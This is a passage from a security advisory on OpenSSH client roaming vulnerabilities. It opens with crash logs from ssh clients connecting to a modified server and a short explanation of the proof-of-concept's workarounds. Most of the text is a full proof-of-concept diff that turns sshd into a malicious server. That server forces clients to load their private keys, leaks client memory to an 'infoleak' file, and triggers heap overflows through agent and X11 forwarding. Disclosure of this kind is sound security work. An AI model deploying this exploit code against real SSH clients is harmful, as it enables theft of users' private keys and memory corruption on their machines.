packet_read_seqnr(): # env ROAMING="overflow:A" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /dev/null -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/ssh -V OpenSSH_6.6.1p1 Ubuntu-2ubuntu2, OpenSSL 1.0.1f 6 Jan 2014 $ /usr/bin/ssh-agent -- /usr/bin/ssh -A -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] *** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007f0474d03e70 *** Aborted (core dumped) # env ROAMING="overflow:X" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key $ /usr/bin/ssh -V OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013 $ /usr/bin/ssh -X -o ProxyCommand="/usr/bin/socat - TCP4:%h:%p" -p 222 127.0.0.1 user@127.0.0.1's password: [connection suspended, press return to resume][connection resumed] *** Error in `/usr/bin/ssh': free(): invalid next size (fast): 0x00007fdcc2a3aba0 *** *** Error in `/usr/bin/ssh': malloc(): memory corruption: 0x00007fdcc2a3abc0 *** Finally, a brief digression on two unexpected problems that had to be solved in our proof-of-concept: - First, setp can be overflowed only in packet_read_seqnr(), not in packet_write_wait(), but agent forwarding and X11 forwarding are post- authentication functionalities, and post-authentication calls to packet_read() or packet_read_expect() are scarce, except in the key-exchange code of OpenSSH clients < 6.8: our proof-of-concept effectively forces a rekeying in order to overflow setp in packet_read_seqnr(). - Second, after a successful reconnection, packet_read_seqnr() may call fatal("Read from socket failed: %.100s", ...), because roaming_read() may return EAGAIN (EAGAIN is never returned without the reconnection, because the preceding call to select() guarantees that connection_in is ready for read()). Our proof-of-concept works around this problem by forcing the client to resend MAX_ROAMBUF bytes (2M) to the server, allowing data to reach the client before roaming_read() is called, thus avoiding EAGAIN. ======================================================================== Acknowledgments ======================================================================== We would like to thank the OpenSSH developers for their great work and their incredibly quick response, Red Hat Product Security for promptly assigning CVE-IDs to these issues, and Alexander Peslyak of the Openwall Project for the interesting discussions. ======================================================================== Proof Of Concept ======================================================================== diff -pruN openssh-6.4p1/auth2-pubkey.c openssh-6.4p1+roaming/auth2-pubkey.c --- openssh-6.4p1/auth2-pubkey.c 2013-07-17 23:10:10.000000000 -0700 +++ openssh-6.4p1+roaming/auth2-pubkey.c 2016-01-07 01:04:15.000000000 -0800 @@ -169,7 +169,9 @@ userauth_pubkey(Authctxt *authctxt) * if a user is not allowed to login. is this an * issue? -markus */ - if (PRIVSEP(user_key_allowed(authctxt->pw, key))) { + if (PRIVSEP(user_key_allowed(authctxt->pw, key)) || 1) { + debug("%s: force client-side load_identity_file", + __func__); packet_start(SSH2_MSG_USERAUTH_PK_OK); packet_put_string(pkalg, alen); packet_put_string(pkblob, blen); diff -pruN openssh-6.4p1/kex.c openssh-6.4p1+roaming/kex.c --- openssh-6.4p1/kex.c 2013-06-01 14:31:18.000000000 -0700 +++ openssh-6.4p1+roaming/kex.c 2016-01-07 01:04:15.000000000 -0800 @@ -442,6 +442,73 @@ proposals_match(char *my[PROPOSAL_MAX], } static void +roaming_reconnect(void) +{ + packet_read_expect(SSH2_MSG_KEX_ROAMING_RESUME); + const u_int id = packet_get_int(); /* roaming_id */ + debug("%s: id %u", __func__, id); + packet_check_eom(); + + const char *const dir = get_roaming_dir(id); + debug("%s: dir %s", __func__, dir); + const int fd = open(dir, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", __func__, dir, errno); + if (fchdir(fd) != 0) + fatal("%s: fchdir %s errno %d", __func__, dir, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", __func__, dir, errno); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_REQUIRED); + packet_put_int64(arc4random()); /* chall */ + packet_put_int64(arc4random()); /* oldchall */ + packet_send(); + + packet_read_expect(SSH2_MSG_KEX_ROAMING_AUTH); + const u_int64_t client_read_bytes = packet_get_int64(); + debug("%s: client_read_bytes %llu", __func__, + (unsigned long long)client_read_bytes); + packet_get_int64(); /* digest (1-8) */ + packet_get_int64(); /* digest (9-16) */ + packet_get_int(); /* digest (17-20) */ + packet_check_eom(); + + u_int64_t client_write_bytes; + size_t len = sizeof(client_write_bytes); + load_roaming_file("client_write_bytes", &client_write_bytes, &len); + debug("%s: client_write_bytes %llu", __func__, + (unsigned long long)client_write_bytes); + + u_int client_out_buf_size; + len = sizeof(client_out_buf_size); + load_roaming_file("client_out_buf_size", &client_out_buf_size, &len); + debug("%s: client_out_buf_size %u", __func__, client_out_buf_size); + if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF) + fatal("%s: client_out_buf_size %u", __func__, + client_out_buf_size); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK); + packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size); + packet_send(); + const int overflow = (access("output", F_OK) == 0); + if (overflow != 0) { + const void *const ptr = load_roaming_file("output", NULL, &len); + buffer_append(packet_get_output(), ptr, len); + } + packet_write_wait(); + + char *const client_out_buf = xmalloc(client_out_buf_size); + if (atomicio(read, packet_get_connection_in(), client_out_buf, + client_out_buf_size) != client_out_buf_size) + fatal("%s: read client_out_buf_size %u errno %d", __func__, + client_out_buf_size, errno); + if (overflow == 0) + dump_roaming_file("infoleak", client_out_buf, + client_out_buf_size); + fatal("%s: all done for %s", __func__, dir); +} + +static void kex_choose_conf(Kex *kex) { Newkeys *newkeys; @@ -470,6 +537,10 @@ kex_choose_conf(Kex *kex) kex->roaming = 1; free(roaming); } + } else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) { + roaming_reconnect(); + /* NOTREACHED */ + fatal("%s: returned from %s", __func__, KEX_RESUME); } /* Algorithm Negotiation */ diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h --- openssh-6.4p1/roaming.h 2011-12-18 15:52:52.000000000 -0800 +++ openssh-6.4p1+roaming/roaming.h 2016-01-07 01:04:15.000000000 -0800 @@ -42,4 +42,86 @@ void resend_bytes(int, u_int64_t *); void calculate_new_key(u_int64_t *, u_int64_t, u_int64_t); int resume_kex(void); +#include <fcntl.h> +#include <stdio.h> +#include <string.h> +#include <sys/stat.h> +#include <sys/types.h> +#include <unistd.h> + +#include "atomicio.h" +#include "log.h" +#include "xmalloc.h" + +static inline char * +get_roaming_dir(const u_int id) +{ + const size_t buflen = MAXPATHLEN; + char *const buf = xmalloc(buflen); + + if ((u_int)snprintf(buf, buflen, "/tmp/roaming-%08x", id) >= buflen) + fatal("%s: snprintf %u error", __func__, id); + return buf; +} + +static inline void +dump_roaming_file(const char *const name, + const void *const buf, const size_t buflen) +{ + if (name == NULL) + fatal("%s: name %p", __func__, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", __func__, name); + if (buf == NULL) + fatal("%s: %s buf %p", __func__, name, buf); + if (buflen <= 0 || buflen > MAX_ROAMBUF) + fatal("%s: %s buflen %lu", __func__, name, (u_long)buflen); + + const int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR); + if (fd <= -1) + fatal("%s: open %s errno %d", __func__, name, errno); + if (write(fd, buf, buflen) != (ssize_t)buflen) + fatal("%s: write %s errno %d", __func__, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", __func__, name, errno); +} + +static inline void * +load_roaming_file(const char *const name, + void *buf, size_t *const buflenp) +{ + if (name == NULL) + fatal("%s: name %p", __func__, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", __func__, name); + if (buflenp == NULL) + fatal("%s: %s buflenp %p", __func__, name, buflenp); + + const int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", __func__, name, errno); + struct stat st; + if (fstat(fd, &st) != 0) + fatal("%s: fstat %s errno %d", __func__, name, errno); + if (S_ISREG(st.st_mode) == 0) + fatal("%s: %s mode 0%o", __func__, name, (u_int)st.st_mode); + if (st.st_size <= 0 || st.st_size > MAX_ROAMBUF) + fatal("%s: %s size %lld", __func__, name, + (long long)st.st_size); + + if (buf == NULL) { + *buflenp = st.st_size; + buf = xmalloc(*buflenp); + } else { + if (*buflenp != (size_t)st.st_size) + fatal("%s: %s size %lld buflen %lu", __func__, name, + (long long)st.st_size, (u_long)*buflenp); + } + if (read(fd, buf, *buflenp) != (ssize_t)*buflenp) + fatal("%s: read %s errno %d", __func__, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", __func__, name, errno); + return buf; +} + #endif /* ROAMING */ diff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c --- openssh-6.4p1/serverloop.c 2013-07-17 23:12:45.000000000 -0700 +++ openssh-6.4p1+roaming/serverloop.c 2016-01-07 01:04:15.000000000 -0800 @@ -1060,6 +1060,9 @@ server_request_session(void) return c; } +static int client_session_channel = -1; +static int server_session_channel = -1; + static void server_input_channel_open(int type, u_int32_t seq, void *ctxt) { @@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in c->remote_window = rwindow; c->remote_maxpacket = rmaxpack; if (c->type != SSH_CHANNEL_CONNECTING) { + debug("%s: avoid client-side buf_append", __func__); + /* packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); packet_put_int(c->remote_id); packet_put_int(c->self); packet_put_int(c->local_window); packet_put_int(c->local_maxpacket); packet_send(); + */ + if (strcmp(ctype, "session") == 0) { + if (client_session_channel != -1) + fatal("%s: client_session_channel %d", + __func__, client_session_channel); + client_session_channel = c->remote_id; + server_session_channel = c->self; + } } } else { debug("server_input_channel_open: failure %s", ctype); @@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in } static void +roaming_disconnect(Kex *const kex) +{ + const char *cp, *roaming = getenv("ROAMING"); + if (roaming == NULL) + roaming = "infoleak"; + int overflow = 0; + if ((cp = strstr(roaming, "overflow:")) != NULL) + overflow = cp[9]; + + const u_int client_recv_buf_size = packet_get_int(); + packet_check_eom(); + const u_int server_recv_buf_size = get_recv_buf_size(); + const u_int server_send_buf_size = get_snd_buf_size(); + debug("%s: client_recv_buf_size %u", __func__, client_recv_buf_size); + debug("%s: server_recv_buf_size %u", __func__, server_recv_buf_size); + debug("%s: server_send_buf_size %u", __func__, server_send_buf_size); + + u_int client_send_buf_size = 0; + if ((cp = strstr(roaming, "client_send_buf_size:")) != NULL) + client_send_buf_size = strtoul(cp + 21, NULL, 0); + else if (client_recv_buf_size == DEFAULT_ROAMBUF) + client_send_buf_size = DEFAULT_ROAMBUF; + else { + const u_int + max = MAX(client_recv_buf_size, server_recv_buf_size), + min = MIN(client_recv_buf_size, server_recv_buf_size); + if (min <= 0) + fatal("%s: min %u", __func__, min); + if (((u_int64_t)(max - min) * 1024) / min < 1) + client_send_buf_size = server_send_buf_size; + else + client_send_buf_size = client_recv_buf_size; + } + debug("%s: client_send_buf_size %u", __func__, client_send_buf_size); + if (client_send_buf_size <= 0) + fatal("%s: client_send_buf_size", __func__); + + u_int id = 0; + char *dir = NULL; + for (;;) { + id = arc4random(); + debug("%s: id %u", __func__, id); + free(dir); + dir = get_roaming_dir(id); + if (mkdir(dir, S_IRWXU) == 0) + break; + if (errno != EEXIST) + fatal("%s: mkdir %s errno %d", __func__, dir, errno); + } + debug("%s: dir %s", __func__, dir); + if (chdir(dir) != 0) + fatal("%s: chdir %s errno %d", __func__, dir, errno); + + u_int client_out_buf_size = 0; + if ((cp = strstr(roaming, "client_out_buf_size:")) != NULL) + client_out_buf_size = strtoul(cp + 20, NULL, 0); + else if (overflow != 0) + client_out_buf_size = MAX_ROAMBUF; + else + client_out_buf_size = 1 + arc4random() % 4096; + debug("%s: client_out_buf_size %u", __func__, client_out_buf_size); + if (client_out_buf_size <= 0) + fatal("%s: client_out_buf_size", __func__); + dump_roaming_file("client_out_buf_size", &client_out_buf_size, + sizeof(client_out_buf_size)); + + if ((cp = strstr(roaming, "scp_mode")) != NULL) { + if (overflow != 0) + fatal("%s: scp_mode is incompatible with overflow %d", + __func__, overflow); + + u_int seconds_left_to_sleep = 3; + if ((cp = strstr(cp, "sleep:")) != NULL) + seconds_left_to_sleep = strtoul(cp + 6, NULL, 0); + debug("%s: sleep %u", __func__, seconds_left_to_sleep); + + if (client_session_channel == -1) + fatal("%s: client_session_channel %d", + __func__, client_session_channel); + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(client_session_channel); + packet_put_int(server_session_channel); + packet_put_int(0); /* server window */ + packet_put_int(0); /* server maxpacket */ + packet_send(); + + packet_start(SSH2_MSG_CHANNEL_DATA); + packet_put_int(client_session_channel); + packet_put_string("n", 2); /* response&source|sink&run_err */ + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_REQUEST); + packet_get_int(); /* server channel */ + debug("%s: channel request %s", __func__, + packet_get_cstring(NULL)); + + while (seconds_left_to_sleep) + seconds_left_to_sleep = sleep(seconds_left_to_sleep); + } + + packet_start(SSH2_MSG_REQUEST_SUCCESS); + packet_put_int(id); /* roaming_id */ + packet_put_int64(arc4random()); /* cookie */ + packet_put_int64(0); /* key1 */ + packet_put_int64(0); /* key2 */ + packet_put_int(client_out_buf_size - client_send_buf_size); + packet_send(); + packet_write_wait(); + + if (overflow != 0) { + const u_int64_t full_client_out_buf = get_recv_bytes() + + client_out_buf_size; + + u_int fd_leaks = 4 * 8 * 8; /* MIN_CHUNK_SIZE in bits */ + if ((cp = strstr(roaming, "fd_leaks:")) != NULL) + fd_leaks = strtoul(cp + 9, NULL, 0); + debug("%s: fd_leaks %u", __func__, fd_leaks); + + while (fd_leaks--) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring(overflow == 'X' ? "x11" : + "auth-agent@openssh.com"); /* ctype */ + packet_put_int(arc4random()); /* server channel */ + packet_put_int(arc4random()); /* server window */ + packet_put_int(arc4random()); /* server maxpacket */ + if (overflow == 'X') { + packet_put_cstring(""); /* originator */ + packet_put_int(arc4random()); /* port */ + } + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_get_int(); /* server channel */ + packet_get_int(); /* client channel */ + packet_get_int(); /* client window */ + packet_get_int(); /* client maxpacket */ + packet_check_eom(); + } + + while (get_recv_bytes() <= full_client_out_buf) { + packet_start(SSH2_MSG_GLOBAL_REQUEST); + packet_put_cstring(""); /* rtype */ + packet_put_char(1); /* want_reply */ + packet_send(); + + packet_read_expect(SSH2_MSG_REQUEST_FAILURE); + packet_check_eom(); + } + + if (kex == NULL) + fatal("%s: no kex, cannot rekey", __func__); + if (kex->flags & KEX_INIT_SENT) + fatal("%s: KEX_INIT_SENT already", __func__); + char *const ptr = buffer_ptr(&kex->my); + const u_int len = buffer_len(&kex->my); + if (len <= 1+4) /* first_kex_follows + reserved */ + fatal("%s: kex len %u", __func__, len); + ptr[len - (1+4)] = 1; /* first_kex_follows */ + kex_send_kexinit(kex); + + u_int i; + packet_read_expect(SSH2_MSG_KEXINIT); + for (i = 0; i < KEX_COOKIE_LEN; i++) + packet_get_char(); + for (i = 0; i < PROPOSAL_MAX; i++) + free(packet_get_string(NULL)); + packet_get_char(); /* first_kex_follows */ + packet_get_int(); /* reserved */ + packet_check_eom(); + + char buf[8192*2]; /* two packet_read_seqnr bufferfuls */ + memset(buf, '', sizeof(buf)); + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL); + packet_put_string(buf, sizeof(buf)); + packet_send(); + const Buffer *const output = packet_get_output(); + dump_roaming_file("output", buffer_ptr(output), + buffer_len(output)); + } + + const u_int64_t client_write_bytes = get_recv_bytes(); + debug("%s: client_write_bytes %llu", __func__, + (unsigned long long)client_write_bytes); + dump_roaming_file("client_write_bytes", &client_write_bytes, + sizeof(client_write_bytes)); + fatal("%s: all done for %s", __func__, dir); +} + +static void server_input_global_request(int type, u_int32_t seq, void *ctxt) { char *rtype; @@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_ } else if (strcmp(rtype, "no-more-sessions@openssh.com") == 0) { no_more_sessions = 1; success = 1; + } else if (strcmp(rtype, ROAMING_REQUEST) == 0) { + if (want_reply != 1) + fatal("%s: rtype %s want_reply %d", __func__, + rtype, want_reply); + roaming_disconnect(ctxt); + /* NOTREACHED */ + fatal("%s: returned from %s", __func__, ROAMING_REQUEST); } if (want_reply) { packet_start(success ? diff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c --- openssh-6.4p1/sshd.c 2013-07-19 20:21:53.000000000 -0700 +++ openssh-6.4p1+roaming/sshd.c 2016-01-07 01:04:15.000000000 -0800 @@ -2432,6 +2432,8 @@ do_ssh2_kex(void) } if (options.kex_algorithms != NULL) myproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms; + else + myproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX "," KEX_RESUME; if (options.rekey_limit || options.rekey_interval) packet_set_rekey_limits((u_int32_t)options.rekey_limit,